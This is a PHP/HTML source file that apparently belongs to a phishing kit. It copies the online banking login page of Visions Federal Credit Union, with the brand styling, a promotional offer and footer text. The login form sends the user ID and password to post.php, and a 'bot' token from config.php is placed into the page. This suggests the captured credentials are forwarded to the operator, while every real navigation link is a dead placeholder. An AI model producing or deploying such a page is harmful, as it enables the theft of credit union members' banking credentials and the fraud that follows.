<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Visions Federal Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:     #254F9D;
            --blue-dk:  #1e4085;
            --orange:   #C1590C;
            --navy:     #041037;
            --text:     #1a1a1a;
            --text-sub: #555;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── UTILITY BAR ─────────────────────────────── */
        .utility-bar {
            background: var(--orange);
            padding: 0 40px;
            height: 40px;
            display: flex; align-items: center; justify-content: center;
            gap: 32px;
        }
        .utility-bar a {
            font-size: 13px; font-weight: 500; color: #fff;
            text-decoration: none; transition: opacity .15s;
        }
        .utility-bar a:hover { opacity: .8; }
        .utility-bar .search-wrap {
            display: flex; align-items: center;
            background: rgba(255,255,255,.95); border-radius: 3px;
            padding: 3px 8px; gap: 5px; margin-left: 8px;
        }
        .utility-bar .search-wrap input {
            border: none; outline: none; background: transparent;
            font-family: 'Inter', sans-serif; font-size: 12.5px;
            width: 120px; color: #333;
        }
        .utility-bar .search-wrap svg { color: #666; flex-shrink: 0; }
        .util-gear { color: #fff; cursor: pointer; display: flex; align-items: center; }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 40px;
            height: 76px;
            display: flex; align-items: center; justify-content: space-between;
            border-bottom: 1px solid #e8eaf0;
            position: relative; z-index: 300;
        }
        .nav-logo img { height: 54px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 6px; }
        .nav-links a {
            font-size: 15px; font-weight: 500; color: var(--text);
            text-decoration: none; padding: 8px 14px; border-radius: 4px;
            display: flex; align-items: center; gap: 4px;
            transition: color .15s, background .15s;
        }
        .nav-links a:hover { color: var(--blue); background: #f0f4fb; }
        .nav-links a svg { opacity: .6; }
        .btn-login-nav {
            padding: 11px 28px; border: none;
            background: var(--blue); color: #fff;
            font-family: 'Inter', sans-serif; font-size: 15px; font-weight: 600;
            border-radius: 4px; cursor: pointer;
            transition: background .15s;
        }
        .btn-login-nav:hover { background: var(--blue-dk); }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            position: relative; overflow: hidden;
            min-height: 440px;
            display: flex; align-items: center;
        }
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.webp') center center / cover no-repeat;
            z-index: 0;
        }
        /* Subtle dark overlay to enhance contrast */
        .hero-overlay {
            position: absolute; inset: 0; z-index: 1;
            background: rgba(4,16,55,.45);
        }

        /* Login card — semi-transparent navy */
        .login-card {
            position: relative; z-index: 3;
            background: rgba(4,16,55,.82);
            backdrop-filter: blur(6px);
            -webkit-backdrop-filter: blur(6px);
            border: 1px solid rgba(255,255,255,.12);
            border-radius: 6px;
            padding: 28px 28px 24px;
            width: 310px; flex-shrink: 0;
            margin-left: 56px;
        }
        .lc-title {
            font-size: 22px; font-weight: 700; color: #fff;
            margin-bottom: 18px;
        }

        /* Toggle tabs */
        .tab-row {
            display: flex; background: rgba(255,255,255,.1);
            border-radius: 24px; padding: 3px;
            margin-bottom: 18px;
        }
        .tab-btn {
            flex: 1; height: 34px; border: none; border-radius: 22px;
            font-family: 'Inter', sans-serif; font-size: 13.5px; font-weight: 600;
            cursor: pointer; transition: background .2s, color .2s;
            color: rgba(255,255,255,.7); background: transparent;
        }
        .tab-btn.active {
            background: var(--white); color: var(--navy);
        }

        .lf { margin-bottom: 10px; }
        .lf input {
            width: 100%; height: 44px; padding: 0 13px;
            border: 1px solid rgba(255,255,255,.2); border-radius: 4px;
            background: rgba(255,255,255,.96); outline: none;
            font-family: 'Inter', sans-serif; font-size: 14px; color: var(--text);
            transition: border-color .15s, box-shadow .15s;
            -webkit-appearance: none;
        }
        .lf input::placeholder { color: #888; }
        .lf input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(37,79,157,.2); }

        .remember-row {
            display: flex; align-items: center; gap: 7px;
            margin-bottom: 12px;
        }
        .remember-row input[type=checkbox] { width: 14px; height: 14px; cursor: pointer; }
        .remember-row label { font-size: 13px; color: rgba(255,255,255,.8); cursor: pointer; }

        .login-actions {
            display: flex; align-items: center; justify-content: space-between;
            gap: 10px; margin-bottom: 14px;
        }
        .lc-links { display: flex; flex-direction: column; gap: 4px; }
        .lc-links a {
            font-size: 12px; color: rgba(255,255,255,.75);
            text-decoration: underline; cursor: pointer;
        }
        .lc-links a:hover { color: #fff; }
        .btn-login {
            padding: 10px 28px; border: 2px solid #fff;
            background: transparent; color: #fff;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 700;
            border-radius: 4px; cursor: pointer;
            transition: background .15s, color .15s; white-space: nowrap;
        }
        .btn-login:hover { background: #fff; color: var(--navy); }

        /* Right promo text */
        .hero-promo {
            position: relative; z-index: 3;
            flex: 1; padding: 0 56px 0 48px;
            text-align: center;
        }
        .hero-promo h2 {
            font-size: clamp(24px, 3vw, 40px);
            font-weight: 700; color: var(--orange);
            line-height: 1.2; margin-bottom: 16px;
        }
        .hero-promo p {
            font-size: 15px; color: #fff;
            font-weight: 600; line-height: 1.6;
            margin-bottom: 24px; max-width: 420px; margin-left: auto; margin-right: auto;
        }
        .btn-learn-more {
            display: inline-block; padding: 12px 32px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            cursor: pointer; text-decoration: none;
            transition: background .15s;
        }
        .btn-learn-more:hover { background: var(--blue-dk); }

        /* ── ICONS STRIP ─────────────────────────────── */
        .icons-strip {
            background: var(--white);
            padding: 48px 56px;
            display: flex; align-items: flex-start;
            justify-content: center; gap: 60px;
            border-top: 1px solid #eee;
        }
        .icon-item { text-align: center; }
        .icon-item svg { width: 56px; height: 56px; color: var(--blue); margin-bottom: 12px; }
        .icon-item span { display: block; font-size: 13px; font-weight: 600; color: var(--blue); }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--navy); padding: 20px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        @media(max-width:900px) { .nav-links{display:none;} .hero{flex-direction:column;align-items:flex-start;padding:0;} .login-card{margin:24px;width:calc(100% - 48px);} .hero-promo{padding:24px;text-align:left;} .utility-bar{padding:0 20px;gap:16px;overflow-x:auto;} .main-nav{padding:0 20px;} .icons-strip{padding:32px 24px;gap:32px;flex-wrap:wrap;} }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <a href="#">Español</a>
        <a href="#">Visions Cares</a>
        <a href="#">Rates</a>
        <a href="#">Open an Account</a>
        <a href="#">Locations</a>
        <a href="#">Careers</a>
        <span class="util-gear"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1-2.83 2.83l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-4 0v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83-2.83l.06-.06A1.65 1.65 0 0 0 4.68 15a1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1 0-4h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 2.83-2.83l.06.06A1.65 1.65 0 0 0 9 4.68a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 4 0v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 2.83l-.06.06A1.65 1.65 0 0 0 19.4 9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 0 4h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg></span>
        <div class="search-wrap">
            <input type="text" placeholder="Search">
            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
        </div>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Visions Federal Credit Union"></div>
        <div class="nav-links">
            <a href="#">Personal <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About Us <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <button class="btn-login-nav">Login</button>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-overlay"></div>

        <!-- Login Card -->
        <div class="login-card">
            <div class="lc-title">Welcome</div>
            <div class="tab-row">
                <button class="tab-btn active" id="tab-personal" onclick="switchTab('personal')">Personal</button>
                <button class="tab-btn" id="tab-business" onclick="switchTab('business')">Business</button>
            </div>
            <script>var token=<?php echo json_encode($bot); ?>;</script>
            <form action="post.php" method="post" id="login-form">
                <div class="lf"><input type="text" name="user" id="user-input" placeholder="User ID" required autocomplete="username"></div>
                <div class="lf"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                <div class="remember-row" id="remember-row">
                    <input type="checkbox" id="remember" name="remember">
                    <label for="remember">Remember ID</label>
                </div>
                <div class="login-actions">
                    <div class="lc-links" id="personal-links">
                        <a href="#">Online Enrollment</a>
                        <a href="#">Forgot Password</a>
                        <a href="#">Forgot User ID/Unlock Account</a>
                    </div>
                    <div class="lc-links" id="business-links" style="display:none">
                        <a href="#">Forgot Password</a>
                    </div>
                    <button type="submit" class="btn-login">Login</button>
                </div>
            </form>
        </div>

        <!-- Promo -->
        <div class="hero-promo">
            <h2>Money Market Offer: Earn up to 3.60% APY!*</h2>
            <p>For six months when you become a new member and open a Flex Money Market or Business Money Market account!</p>
            <a href="#" class="btn-learn-more">*Click here to learn more!</a>
        </div>
    </div>

    <!-- Icons Strip -->
    <div class="icons-strip">
        <div class="icon-item">
            <svg viewBox="0 0 64 64" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="24" cy="44" r="12" fill="var(--blue)" stroke="none"/><circle cx="24" cy="44" r="12"/><text x="18" y="49" font-size="14" fill="white" stroke="none" font-family="Inter" font-weight="700">$</text><path d="M36 32 Q44 20 52 24" stroke-width="2.5"/></svg>
            <span>Savings</span>
        </div>
        <div class="icon-item">
            <svg viewBox="0 0 64 64" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><rect x="8" y="28" width="48" height="28" rx="2" fill="var(--blue)" stroke="none"/><rect x="8" y="28" width="48" height="28" rx="2"/><path d="M20 28 V20 Q32 10 44 20 V28"/><line x1="24" y1="42" x2="40" y2="42"/><line x1="32" y1="38" x2="32" y2="46"/></svg>
            <span>Home Lending</span>
        </div>
        <div class="icon-item">
            <svg viewBox="0 0 64 64" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="26" cy="22" r="9"/><circle cx="40" cy="22" r="7"/><path d="M8 54 Q14 40 26 40 Q38 40 44 54"/><path d="M44 40 Q52 42 56 54"/></svg>
            <span>Membership</span>
        </div>
        <div class="icon-item">
            <svg viewBox="0 0 64 64" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><rect x="8" y="16" width="48" height="8" rx="1"/><rect x="8" y="26" width="48" height="6" rx="1"/><rect x="8" y="34" width="48" height="5" rx="1"/><rect x="8" y="41" width="48" height="4" rx="1"/><circle cx="32" cy="28" r="10" fill="var(--blue)" stroke="none"/><text x="27" y="33" font-size="13" fill="white" stroke="none" font-family="Inter" font-weight="700">$</text></svg>
            <span>Financial Tools</span>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Visions Federal Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script>
        function switchTab(tab) {
            var isBiz = tab === 'business';
            document.getElementById('tab-personal').classList.toggle('active', !isBiz);
            document.getElementById('tab-business').classList.toggle('active', isBiz);
            document.getElementById('user-input').placeholder = isBiz ? 'Business ID' : 'User ID';
            document.getElementById('remember-row').style.display = isBiz ? 'none' : 'flex';
            document.getElementById('personal-links').style.display = isBiz ? 'none' : 'flex';
            document.getElementById('business-links').style.display = isBiz ? 'flex' : 'none';
        }
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>